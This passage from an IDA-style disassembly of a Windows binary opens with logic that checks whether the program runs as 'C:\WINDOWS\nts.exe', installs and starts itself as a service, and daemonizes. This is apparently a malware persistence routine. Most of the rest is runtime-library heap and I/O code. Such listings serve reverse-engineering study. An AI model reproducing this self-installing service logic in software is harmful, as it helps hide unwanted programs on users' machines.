test eax, eax jnz short loc_406B34 push offset aInstallingServ ; "installing service, res=" call nullsub_2 pop ecx call sub_404F2A mov [ebp+var_8], eax push [ebp+var_8] push offset aI ; "%i\n" call nullsub_2 pop ecx pop ecx call sub_4050B1 test eax, eax jnz short loc_406B09 call sub_405187 loc_406B09: ; CODE XREF: sub_4066F1+411j call sub_404162 push offset aStartingServic ; "starting service...\n" call nullsub_2 pop ecx call sub_404E56 test eax, eax jz short loc_406B29 xor eax, eax jmp loc_406C82 ; --------------------------------------------------------------------------- loc_406B29: ; CODE XREF: sub_4066F1+42Fj push offset aRegisteredSe_1 ; "registered service is not running, unre"... call nullsub_2 pop ecx loc_406B34: ; CODE XREF: sub_4066F1+39Dj ; sub_4066F1+3B4j ... push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_406B75 cmp [ebp+var_4], 0 jz short loc_406B75 test ebx, ebx jnz short loc_406B75 push offset aInstallingSe_0 ; "installing service...\n" call nullsub_2 pop ecx call sub_404F2A test eax, eax jz short loc_406B75 push offset aServiceInstall ; "service installed ok...\n" call nullsub_2 pop ecx xor ebx, ebx inc ebx loc_406B75: ; CODE XREF: sub_4066F1+456j ; sub_4066F1+45Cj ... test ebx, ebx jz short loc_406B82 call sub_4040C3 test eax, eax jz short loc_406BAC loc_406B82: ; CODE XREF: sub_4066F1+486j push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_406BDC push offset asc_40E58D ; "**" push dword_4128A8 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_406BDC loc_406BAC: ; CODE XREF: sub_4066F1+48Fj push offset aStartingServic ; "starting service...\n" call nullsub_2 pop ecx call sub_404162 call sub_404E56 test eax, eax jz short loc_406BCC xor eax, eax jmp loc_406C82 ; --------------------------------------------------------------------------- loc_406BCC: ; CODE XREF: sub_4066F1+4D2j call sub_40410E test eax, eax jz short loc_406BDC xor eax, eax jmp loc_406C82 ; --------------------------------------------------------------------------- loc_406BDC: ; CODE XREF: sub_4066F1+4A4j ; sub_4066F1+4B9j ... call sub_404CB8 test eax, eax jz short loc_406C33 call sub_4040C3 test eax, eax jz short loc_406C33 push offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe" push dword_4128A4 call dword_411D38 ; lstrcmpi test eax, eax jnz short loc_406C33 push offset asc_40E58D ; "**" push dword_4128A8 call dword_411D38 ; lstrcmpi test eax, eax jz short loc_406C33 push offset aInitializingSe ; "initializing service startup sequence.."... call nullsub_2 pop ecx call sub_405AC9 test eax, eax jz short loc_406C30 xor eax, eax jmp short loc_406C82 ; --------------------------------------------------------------------------- loc_406C30: ; CODE XREF: sub_4066F1+539j xor esi, esi inc esi loc_406C33: ; CODE XREF: sub_4066F1+4F2j ; sub_4066F1+4FBj ... push offset aNotDaemonized_ ; "not daemonized...\n" call nullsub_2 pop ecx test esi, esi jz short loc_406C4E push dword_4128A4 call sub_405774 pop ecx loc_406C4E: ; CODE XREF: sub_4066F1+54Fj call sub_40410E test eax, eax jz short loc_406C5B xor eax, eax jmp short loc_406C82 ; --------------------------------------------------------------------------- loc_406C5B: ; CODE XREF: sub_4066F1+564j push 0 push 0 push offset sub_406677 call sub_407910 add esp, 0Ch push 0FFFFFFFFh push eax call dword_411D34 ; WaitForSingleObject push offset dword_40E000 call nullsub_2 pop ecx xor eax, eax loc_406C82: ; CODE XREF: sub_4066F1+139j ; sub_4066F1+149j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4066F1 endp ; =============== S U B R O U T I N E ======================================= sub_406C89 proc near ; CODE XREF: sub_407AA0+C1p push ebx call sub_4066F1 mov ebx, eax call sub_404162 mov eax, ebx pop ebx retn 10h sub_406C89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406C9C proc near ; CODE XREF: sub_4062AE+1Bp ; sub_40637D+30p jmp dword_411D84 sub_406C9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CA2 proc near ; CODE XREF: sub_4062AE+3Cp ; sub_40637D+4Dp jmp dword_411D88 sub_406CA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CA8 proc near ; CODE XREF: sub_4062AE+B6p ; sub_40637D+88p jmp dword_411D8C sub_406CA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CAE proc near ; CODE XREF: sub_4012EC+1Ap ; sub_4012EC+34p jmp dword_411E88 sub_406CAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CB4 proc near ; CODE XREF: DMN0:00401350p jmp dword_411E8C sub_406CB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CBA proc near ; CODE XREF: sub_401359+Bp ; DMN0:004013DDp ... jmp dword_411E90 sub_406CBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CC0 proc near ; CODE XREF: sub_401359+36p ; sub_401359+53p ... jmp dword_411E94 sub_406CC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CC6 proc near ; CODE XREF: sub_4014C2+4p ; sub_402B02+152p ... jmp dword_411E98 sub_406CC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CCC proc near ; CODE XREF: sub_4014CF+56p jmp dword_411E9C sub_406CCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CD2 proc near ; CODE XREF: sub_401542+11p jmp dword_411EA0 sub_406CD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CD8 proc near ; CODE XREF: sub_401567+28p ; sub_4015B7+28p ... jmp dword_411EA4 sub_406CD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CDE proc near ; CODE XREF: sub_401567+3Ap jmp dword_411EA8 sub_406CDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CE4 proc near ; CODE XREF: sub_4015B7+3Ap ; sub_402B02+E5p ... jmp dword_411EAC sub_406CE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CEA proc near ; CODE XREF: sub_401607+8p jmp dword_411EB0 sub_406CEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CF0 proc near ; CODE XREF: sub_401621+30p ; sub_40166C+3Fp jmp dword_411EB4 sub_406CF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CF6 proc near ; CODE XREF: sub_40166C+5Fp ; DMN0:00401844p ... jmp dword_411EB8 sub_406CF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406CFC proc near ; CODE XREF: sub_4016DC+17p ; sub_401713+18p ... jmp dword_411EBC sub_406CFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D02 proc near ; CODE XREF: sub_401787+17p jmp dword_411EC0 sub_406D02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D08 proc near ; CODE XREF: sub_4017BE+8p ; sub_4025A9+EDp ... jmp dword_411EC4 sub_406D08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D0E proc near ; CODE XREF: sub_4017BE+1Bp jmp dword_411EC8 sub_406D0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D14 proc near ; CODE XREF: DMN0:00401827p jmp dword_411ECC sub_406D14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D1A proc near ; CODE XREF: DMN0:00401876p jmp dword_411ED0 sub_406D1A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D20 proc near ; CODE XREF: DMN0:00401897p ; sub_403113+5Cp ... jmp dword_411ED4 sub_406D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D26 proc near ; CODE XREF: sub_402B02+142p ; sub_403113+FCp ... jmp dword_411ED8 sub_406D26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D2C proc near ; CODE XREF: sub_402B02+1DBp ; sub_403113+16Dp ... jmp dword_411EDC sub_406D2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D32 proc near ; CODE XREF: sub_402B02+1E4p ; sub_403113+176p ... jmp dword_411EE0 sub_406D32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_406D38 proc near ; CODE XREF: sub_4030A4+23p ; sub_4030A4+4Bp jmp dword_411EE8 sub_406D38 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_406D40 proc near ; CODE XREF: sub_401048+15p ; DMN0:0040110Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov eax, [esp+8+arg_0] mul [esp+8+arg_4] mov esi, eax push esi call sub_4081A0 pop ecx mov ebx, eax test ebx, ebx jz short loc_406D67 mov edx, ebx mov ecx, esi xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx loc_406D67: ; CODE XREF: sub_406D40+17j mov eax, ebx pop esi pop ebx retn sub_406D40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D70 proc near ; CODE XREF: sub_4070F0+59p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi or [ebp+var_C], 0FFFFFFFFh mov ebx, [ebp+arg_0] add ebx, 0FFFFFFFCh test dword ptr [ebx], 80000000h jnz short loc_406D9B call sub_4083A0 mov dword ptr [eax], 16h jmp loc_4070DD ; --------------------------------------------------------------------------- loc_406D9B: ; CODE XREF: sub_406D70+19j mov eax, [ebx] mov edi, eax and edi, 7FFFFFFFh lea eax, [ebx-4] mov [ebp+var_4], eax lea ebx, [ebx+edi*4-4] lea esi, [ebx+4] test dword ptr [esi], 80000000h jnz loc_406E4B mov eax, [esi] lea esi, [esi+eax*4-4] mov eax, dword_4111E4 cmp [esi], eax ja short loc_406E00 mov eax, dword_4111DC cmp [esi], eax ja short loc_406DE8 mov eax, dword_4111D8 cmp [esi], eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_406DFB ; --------------------------------------------------------------------------- loc_406DE8: ; CODE XREF: sub_406D70+64j mov eax, dword_4111E0 cmp [esi], eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_406DFB: ; CODE XREF: sub_406D70+76j mov eax, [ebp+var_10] jmp short loc_406E31 ; --------------------------------------------------------------------------- loc_406E00: ; CODE XREF: sub_406D70+5Bj mov eax, dword_4111EC cmp [esi], eax ja short loc_406E1E mov eax, dword_4111E8 cmp [esi], eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_406E31 ; --------------------------------------------------------------------------- loc_406E1E: ; CODE XREF: sub_406D70+97j mov eax, dword_4111F0 cmp [esi], eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_406E31: ; CODE XREF: sub_406D70+8Ej ; sub_406D70+ACj mov eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [esi] add edi, eax mov [esi], edi mov eax, edi shl eax, 2 mov edx, esi sub edx, eax mov [edx+4], edi mov ebx, esi loc_406E4B: ; CODE XREF: sub_406D70+48j mov eax, [ebp+var_4] test dword ptr [eax], 80000000h jnz loc_406F77 mov eax, [ebp+var_4] mov edx, [eax] add edi, edx mov edx, dword_4111E4 cmp [eax], edx ja short loc_406EAA mov eax, [ebp+var_4] mov edx, dword_4111DC cmp [eax], edx ja short loc_406E8E mov eax, [ebp+var_4] mov edx, dword_4111D8 cmp [eax], edx setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_406EA5 ; --------------------------------------------------------------------------- loc_406E8E: ; CODE XREF: sub_406D70+106j mov eax, [ebp+var_4] mov edx, dword_4111E0 cmp [eax], edx setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_406EA5: ; CODE XREF: sub_406D70+11Cj mov eax, [ebp+var_10] jmp short loc_406EE7 ; --------------------------------------------------------------------------- loc_406EAA: ; CODE XREF: sub_406D70+F9j mov eax, [ebp+var_4] mov edx, dword_4111EC cmp [eax], edx ja short loc_406ED0 mov eax, [ebp+var_4] mov edx, dword_4111E8 cmp [eax], edx setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_406EE7 ; --------------------------------------------------------------------------- loc_406ED0: ; CODE XREF: sub_406D70+145j mov eax, [ebp+var_4] mov edx, dword_4111F0 cmp [eax], edx setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_406EE7: ; CODE XREF: sub_406D70+138j ; sub_406D70+15Ej mov eax, [ebp+var_10] mov [ebp+var_8], eax mov eax, [ebp+var_4] mov eax, [eax-4] mov [ebp+var_14], eax cmp eax, [ebp+var_4] jnz short loc_406F32 mov eax, [ebp+var_8] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_8] cmp dword_4111F8, eax jnz short loc_406F69 jmp short loc_406F1C ; --------------------------------------------------------------------------- loc_406F16: ; CODE XREF: sub_406D70+1BEj inc dword_4111F8 loc_406F1C: ; CODE XREF: sub_406D70+1A4j mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_406F30 cmp eax, 7 jl short loc_406F16 loc_406F30: ; CODE XREF: sub_406D70+1B9j jmp short loc_406F69 ; --------------------------------------------------------------------------- loc_406F32: ; CODE XREF: sub_406D70+189j mov eax, [ebp+var_4] mov eax, [eax-8] mov [ebp+var_18], eax mov edx, [ebp+var_18] mov eax, [ebp+var_14] mov [edx-4], eax mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx-8], eax mov eax, [ebp+var_8] mov eax, dword_4111A8[eax*4] cmp eax, [ebp+var_4] jnz short loc_406F69 mov eax, [ebp+var_8] mov edx, [ebp+var_18] mov dword_4111A8[eax*4], edx loc_406F69: ; CODE XREF: sub_406D70+1A2j ; sub_406D70:loc_406F30j ... mov [ebx], edi mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], edi loc_406F77: ; CODE XREF: sub_406D70+E4j cmp edi, dword_4111E4 ja short loc_406FB1 cmp edi, dword_4111DC ja short loc_406F99 mov eax, dword_4111D8 cmp edi, eax setnbe al and eax, 1 mov [ebp+var_10], eax jmp short loc_406FAC ; --------------------------------------------------------------------------- loc_406F99: ; CODE XREF: sub_406D70+215j mov eax, dword_4111E0 cmp edi, eax setnbe al and eax, 1 add eax, 2 mov [ebp+var_10], eax loc_406FAC: ; CODE XREF: sub_406D70+227j mov eax, [ebp+var_10] jmp short loc_406FE1 ; --------------------------------------------------------------------------- loc_406FB1: ; CODE XREF: sub_406D70+20Dj cmp edi, dword_4111EC ja short loc_406FCE mov eax, dword_4111E8 cmp edi, eax setnbe al and eax, 1 add eax, 4 mov [ebp+var_10], eax jmp short loc_406FE1 ; --------------------------------------------------------------------------- loc_406FCE: ; CODE XREF: sub_406D70+247j mov eax, dword_4111F0 cmp edi, eax setnbe al and eax, 1 add eax, 6 mov [ebp+var_10], eax loc_406FE1: ; CODE XREF: sub_406D70+23Fj ; sub_406D70+25Cj mov eax, [ebp+var_10] mov [ebp+var_8], eax cmp [ebp+var_C], eax jz loc_4070DD cmp [ebp+var_C], 0 jl short loc_407069 mov eax, [ebx-4] mov [ebp+var_14], eax cmp ebx, [ebp+var_14] jnz short loc_407038 mov eax, [ebp+var_C] mov dword_4111A8[eax*4], 0 mov eax, [ebp+var_C] cmp dword_4111F8, eax jnz short loc_407069 jmp short loc_407022 ; --------------------------------------------------------------------------- loc_40701C: ; CODE XREF: sub_406D70+2C4j inc dword_4111F8 loc_407022: ; CODE XREF: sub_406D70+2AAj mov eax, dword_4111F8 cmp dword_4111A8[eax*4], 0 jnz short loc_407036 cmp eax, 7 jl short loc_40701C loc_407036: ; CODE XREF: sub_406D70+2BFj jmp short loc_407069 ; --------------------------------------------------------------------------- loc_407038: ; CODE XREF: sub_406D70+28Fj mov eax, [ebx-8] mov [ebp+var_18], eax mov edx, [ebp+var_18] mov eax, [ebp+var_14] mov [edx-4], eax mov edx, [ebp+var_14] mov eax, [ebp+var_18] mov [edx-8], eax mov eax, [ebp+var_C] cmp ebx, dword_4111A8[eax*4] jnz short loc_407069 mov eax, [ebp+var_C] mov edx, [ebp+var_18] mov dword_4111A8[eax*4], edx loc_407069: ; CODE XREF: sub_406D70+284j ; sub_406D70+2A8j ... mov eax, [ebp+var_8] mov eax, dword_4111A8[eax*4] mov [ebp+var_18], eax test eax, eax jnz short loc_40709F mov [ebp+var_14], ebx mov [ebp+var_18], ebx mov eax, [ebp+var_8] mov dword_4111A8[eax*4], ebx mov eax, [ebp+var_8] cmp dword_4111F8, eax jle short loc_4070A8 mov eax, [ebp+var_8] mov dword_4111F8, eax jmp short loc_4070A8 ; --------------------------------------------------------------------------- loc_40709F: ; CODE XREF: sub_406D70+308j mov eax, [ebp+var_18] mov eax, [eax-8] mov [ebp+var_14], eax loc_4070A8: ; CODE XREF: sub_406D70+323j ; sub_406D70+32Dj mov eax, [ebp+var_18] mov [ebx-4], eax mov edx, [ebp+var_18] mov [edx-8], ebx mov edx, [ebp+var_14] mov [edx-4], ebx mov eax, [ebp+var_14] mov [ebx-8], eax mov eax, edi shl eax, 2 mov edx, ebx sub edx, eax mov [edx+4], edi mov [ebx], edi mov eax, [ebp+var_8] mov dword_4111FC, eax mov dword_4111A8[eax*4], ebx loc_4070DD: ; CODE XREF: sub_406D70+26j ; sub_406D70+27Aj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_406D70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4070F0 proc near ; CODE XREF: sub_401076+Fp ; DMN0:00401138p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00407163 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F864 push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] test ebx, ebx jz short loc_407163 lea eax, [ebx-4] cmp eax, dword_4111D0 jbe short loc_407130 cmp eax, dword_4111CC jb short loc_407139 loc_407130: ; CODE XREF: sub_4070F0+36j push ebx call sub_408630 pop ecx jmp short loc_407163 ; --------------------------------------------------------------------------- loc_407139: ; CODE XREF: sub_4070F0+3Ej push 0 call sub_408740 pop ecx mov [ebp+var_4], 0 push ebx call sub_406D70 pop ecx or [ebp+var_4], 0FFFFFFFFh call sub_40715A jmp short loc_407163 sub_4070F0 endp ; =============== S U B R O U T I N E ======================================= sub_40715A proc near ; CODE XREF: sub_4070F0+63p ; DATA XREF: DMN0:0040F86Co push 0 call sub_4087C0 pop ecx retn sub_40715A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4070F0 loc_407163: ; CODE XREF: sub_4070F0+2Bj ; sub_4070F0+47j ... pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4070F0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407180 proc near ; DATA XREF: sub_4071C0+38o ; sub_448141+38o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] mov edi, ebx cmp [edi+4], esi jnb short loc_407196 mov esi, [edi+4] loc_407196: ; CODE XREF: sub_407180+11j push esi mov eax, [ebp+arg_4] push eax mov eax, [edi] push eax call sub_407630 add esp, 0Ch mov eax, [edi] add eax, esi mov [edi], eax sub [edi+4], esi mov eax, ebx pop edi pop esi pop ebx pop ebp retn sub_407180 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071C0 proc near ; CODE XREF: DMN0:004010F0p ; DMN0:00401120p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx cmp [ebp+arg_4], 0 jnz short loc_4071DC lea eax, [ebp+var_4] mov [ebp+var_8], eax mov [ebp+var_4], 0 jmp short loc_4071EC ; --------------------------------------------------------------------------- loc_4071DC: ; CODE XREF: sub_4071C0+Bj mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax mov [ebp+var_4], eax loc_4071EC: ; CODE XREF: sub_4071C0+1Aj mov eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax lea eax, [ebp+var_8] push eax push offset sub_407180 call sub_4087E0 add esp, 10h mov ebx, eax mov edx, [ebp+var_8] mov byte ptr [edx], 0 mov eax, ebx pop ebx mov esp, ebp pop ebp retn sub_4071C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407220 proc near ; DATA XREF: sub_407260+22o ; sub_4481E1+22o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] push 0 lea eax, [ebp+var_4] push eax push esi mov eax, [ebp+arg_4] push eax push ebx call dword_411D94 ; WriteConsoleA test eax, eax jz short loc_40724E cmp [ebp+var_4], esi jnz short loc_40724E mov edi, ebx jmp short loc_407250 ; --------------------------------------------------------------------------- loc_40724E: ; CODE XREF: sub_407220+23j ; sub_407220+28j xor edi, edi loc_407250: ; CODE XREF: sub_407220+2Cj mov eax, edi pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_407220 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407260 proc near ; CODE XREF: DMN0:00401130p ; DMN0:0040114Cp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_408A60 mov ebx, eax cmp eax, 0FFFFFFFFh jnz short loc_407279 or eax, 0FFFFFFFFh jmp short loc_407291 ; --------------------------------------------------------------------------- loc_407279: ; CODE XREF: sub_407260+12j lea edi, [ebp+arg_4] push edi mov eax, [ebp+arg_0] push eax push ebx push offset sub_407220 call sub_4087E0 add esp, 10h mov esi, eax loc_407291: ; CODE XREF: sub_407260+17j pop edi pop esi pop ebx pop ebp retn sub_407260 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4072A0 proc near ; DATA XREF: sub_4072C0+11o ; sub_448241+11o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push ebx mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_407630 add esp, 0Ch add eax, ebx pop ebx pop ebp retn sub_4072A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4072C0 proc near ; CODE XREF: DMN0:004011CCp ; sub_4025A9+17Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi lea esi, [ebp+arg_8] push esi mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push offset sub_4072A0 call sub_4087E0 add esp, 10h mov ebx, eax test ebx, ebx jl short loc_4072EB mov eax, [ebp+arg_0] mov byte ptr [eax+ebx], 0 loc_4072EB: ; CODE XREF: sub_4072C0+22j mov eax, ebx pop esi pop ebx pop ebp retn sub_4072C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407300 proc near ; CODE XREF: DMN0:004011F1p ; sub_403838+77p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00407364 SIZE 00000014 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F870 push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_408740 pop ecx mov [ebp+var_4], 0 call sub_408AC0 push 0FFFFFFFFh push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_408B20 add esp, 10h mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_40735B jmp short loc_407364 sub_407300 endp ; =============== S U B R O U T I N E ======================================= sub_40735B proc near ; CODE XREF: sub_407300+54p ; DATA XREF: DMN0:0040F878o push 6 call sub_4087C0 pop ecx retn sub_40735B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407300 loc_407364: ; CODE XREF: sub_407300+59j mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_407300 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407380 proc near ; DATA XREF: sub_4073B0+10o ; sub_448331+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] push ebx push esi push 1 mov eax, [ebp+arg_4] push eax call sub_407760 add esp, 10h cmp eax, esi jnz short loc_4073A4 mov edi, ebx jmp short loc_4073A6 ; --------------------------------------------------------------------------- loc_4073A4: ; CODE XREF: sub_407380+1Ej xor edi, edi loc_4073A6: ; CODE XREF: sub_407380+22j mov eax, edi pop edi pop esi pop ebx pop ebp retn sub_407380 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4073B0 proc near ; CODE XREF: DMN0:0040120Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax push offset sub_407380 call sub_4087E0 add esp, 10h mov ebx, eax pop ebx pop ebp retn sub_4073B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4073E0 proc near ; DATA XREF: sub_407400+48o ; sub_448381+48o push ebx xor ebx, ebx loc_4073E3: ; CODE XREF: sub_4073E0+1Cj mov eax, off_411370[ebx*4] test eax, eax jz short loc_4073F5 push eax call sub_407560 pop ecx loc_4073F5: ; CODE XREF: sub_4073E0+Cj inc ebx cmp ebx, 100h jb short loc_4073E3 pop ebx retn sub_4073E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407400 proc near ; CODE XREF: sub_408B20:loc_408C54p ; sub_408EA0+B2p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00407467 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_40F87C push offset sub_4083B8 push large dword ptr fs:0 mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp push 6 call sub_408740 pop ecx mov [ebp+var_4], 0 cmp dword_41105C, 0 jnz short loc_407453 mov dword_41105C, 1 push offset sub_4073E0 call sub_408C70 pop ecx loc_407453: ; CODE XREF: sub_407400+3Cj or [ebp+var_4], 0FFFFFFFFh call sub_40745E jmp short loc_407467 sub_407400 endp ; =============== S U B R O U T I N E ======================================= sub_40745E proc near ; CODE XREF: sub_407400+57p ; DATA XREF: DMN0:0040F884o push 6 call sub_4087C0 pop ecx retn sub_40745E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407400 loc_407467: ; CODE XREF: sub_407400+5Cj pop edi pop esi pop ebx mov ecx, [ebp+var_10] mov large fs:0, ecx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_407400 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_407480 proc near ; CODE XREF: sub_407560+39p arg_0 = dword ptr 4 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] push ebx call sub_408CA0 pop ecx mov esi, eax test word ptr [ebx], 40h jz short loc_4074A1 mov eax, [ebx+8] push eax call sub_4070F0 pop ecx loc_4074A1: ; CODE XREF: sub_407480+15j mov dword ptr [ebx+8], 0 mov eax, [ebx+4] test eax, eax jl short loc_4074BD push eax call sub_408E20 pop ecx test eax, eax jz short loc_4074BD or esi, 0FFFFFFFFh loc_4074BD: ; CODE XREF: sub_407480+2Dj ; sub_407480+38j mov eax, [ebx+3Ch] test eax, eax jz short loc_4074E3 push eax call sub_407A90 pop ecx test eax, eax jz short loc_4074D2 or esi, 0FFFFFFFFh loc_4074D2: ; CODE XREF: sub_407480+4Dj mov eax, [ebx+3Ch] push eax call sub_4070F0 pop ecx mov dword ptr [ebx+3Ch], 0 loc_4074E3: ; CODE XREF: sub_407480+42j test word ptr [ebx], 80h jz short loc_407514 xor edi, edi loc_4074EC: ; CODE XREF: 